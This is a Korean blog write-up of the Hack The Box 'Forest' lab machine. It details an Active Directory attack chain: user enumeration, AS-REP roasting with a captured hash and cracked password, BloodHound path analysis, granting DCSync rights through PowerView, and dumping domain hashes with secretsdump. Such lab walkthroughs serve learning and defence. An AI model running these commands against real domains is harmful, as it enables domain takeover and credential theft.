Hack The Box - Forest

Hack the box Forest machine

By Hong

이번에 HTB의 Forest라는 머신을 풀었는데 굉장히 영양가 높은 머신이었고 여러가지 새로운 것들도 배웠기 때문에 포스팅을 작성한다.

이 머신은 easy 난이도라고는 되어있는데 거의 대부분 처음 경험해보는 내용이었던 나에게는 절대 easy하지 않았다.

초기진입

nmap

우선 nmap의 결과부터.

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-27 01:08:58Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h26m49s, deviation: 4h02m30s, median: 6m48s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2025-03-26T18:09:12-07:00
| smb2-time:
|   date: 2025-03-27T01:09:11
|_  start_date: 2025-03-27T01:01:16

smb와 ldap이 눈에 들어온다.

smb의 경우 리스트를 보려고 했으나 접속이 안됐다.

ldap으로 변경.

enum4linux

ldap을 조사할 때 사용하는 툴로써 enum4linux라는 게 있다고 한다.

ldapsearch라는 툴이 이름부터 뭔가 해줄 것 같아서 사용해봤는데 결정적인 유저를 마지막까지 찾아내지 못했다.

enum4linux의 경우 한번에 결정적인 유저까지 찾아냈기 때문에 ldapsearch 보다는 enum4linux가 더 좋은 것 같다.

enum4lilnux 10.10.10.161

user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

ldapsearch에서는 svc-alfresco라는 유저를 발견하질 못해서 계속 헤맸다.

유저 이름을 알았기 때문에 impacket-GetNPUsers라는 툴을 사용해서 Kerberos preauthentication이 설정되어 있지 않은 유저를 찾아낸다.

impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt

$krb5asrep$23$svc-alfresco@HTB.LOCAL:93b8c3f3d039482dae56a19dc0a91053$3ddd8d9d301f89dbee8ce4bb022f04ebba5cec410b45aae7ff4e6012e9bfe2f6e13a4aff4dd92108597ba4e27a1f7daebec8d22c4c44eb5a56253fa7c7d83296d879282601f1ca533d7cc4f1cd10ac5224039418981c8a0575f1c909a556344c0007d64eea970f51cc33c8e70117947f4dd32a054cbacfe847532bfea1e3aac49ac93511eebc2318b57901c3dbb181200d62bb710553ea74496c51670a3a8595bbeb58ce1d17599f242685e7e72992c90c6651c1fdd0b742192a09eb004a87d172982fe1d5f0e14e838d2ea6003306a8d205697bce8a685d9e7a1c46f8864820f976bb913248

다른 유저들과는 다르게 svc-alfresco의 경우 해쉬값이 나온다.

hashcat

찾아보니 18200 모드를 사용하면 크랙킹 할 수 있을 것 같다.

크랙킹하면 s3rvice 비밀번호를 획득할 수 있다.

evil-winrm으로 로그인.

권한상승

bloodhound

여기서 또 다른 벽을 느꼈다.

easy 머신임에도 불구하고 bloodhound를 활용해서 풀어야 한다.

bloodhound를 사용하는 방법은 두 가지가 있는데 하나는 sharphound를 활용하는 방법이고 또 다른 방법은 bloodhound-python을 사용하는 방법이다. (pip install bloodhound로 설치가능).

bloodhound-python -d sequel.htb -u {user} -p {password} -ns {IP}

bloodhound를 실행하고 파일을 업로드하면 노드를 볼 수 있다.

bloodhound

  1. 먼저 이번에 침입 성공한 svc-alfresco를 검색해 노드를 선택한다.
  2. owned로 지정한다.
  3. shotest paths에서 더 높은 value의 타겟을 찾아본다.

그러면 굉장히 상관관계가 얽혀있는 꽤 복잡한 그래프가 나타난다.

이 그래프를 볼 줄 몰라서 많이 헤맸는데 그래프를 잘 보면 genericall 이라던가 DACL write라던가 핵심적인 키워드들이 써있다.

genericall의 경우 모든 권한을 가지고 있기 때문에 내가 소유했다고 봐도 무방한 듯 하다.

DACL write 권한이 중요한데, 이 권한이 있으면 액세스 권한을 설정 할 수 있다. 이번 머신의 메인 도메인 바로 전 노드인 Exchange Windows Permissions 그룹이 메인 도메인에 대하여 이 권한을 가지고 있기 때문에 DcSync 권한을 유저에 부여할 수 있는 취약점이 존재한다.

DcSync

easy 머신에서 DcSync까지 나와서 당황했지만 회사에서 본 적이 있었다.

먼저 권한을 부여할 새로운 유저를 만든다.

net user hong hongtest1234 /add /domain

그 다음 유저를 Exchange Windows Permissions 그룹에 추가한다.

net group "Exchange Windows Permissions" /add hong

(이런것도 svc-alfresco 유저가 어카운트 관리 그룹의 멤버였기에 가능했다.)

그리고 DcSync 권한을 부여하기 위해서 PowerView.ps1을 사용한다.

$SecPassword = ConvertTo-SecureString 'hongtest1234'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\hong', $SecPassword)
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity hong -Rights DCSync -Credential $Cred -Verbose

이렇게 하면 새로만든 유저에 DcSync의 권한이 부여되기 때문에 나머지는 칼리 머신에서 악용하기만 하면 된다.

secretsdump.py htb.local/hong:hongtest1234@10.10.10.161
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::...

관리자의 해쉬 정보를 얻을 수 있다. DcSync는 언제봐도 놀랍다.

evil-winrm으로 관리자 해쉬를 사용해 로그인 하면 root 플래그도 얻을 수 있다.

느낀점

이번 머신이 특히 어려웠던 점은 처음 써보는 툴이 많았기 때문이다.

enum4linux, bloodhound, powerview도 존재는 알아도 제대로 써본적은 없는 툴들이었다.

이번에 어느정도 사용법을 익혔기 때문에 다음에 비슷한 문제는 풀 수 있지 않을까? 싶다.

굉장히 유익한 머신이었다.

Share: X (Twitter) Facebook LinkedIn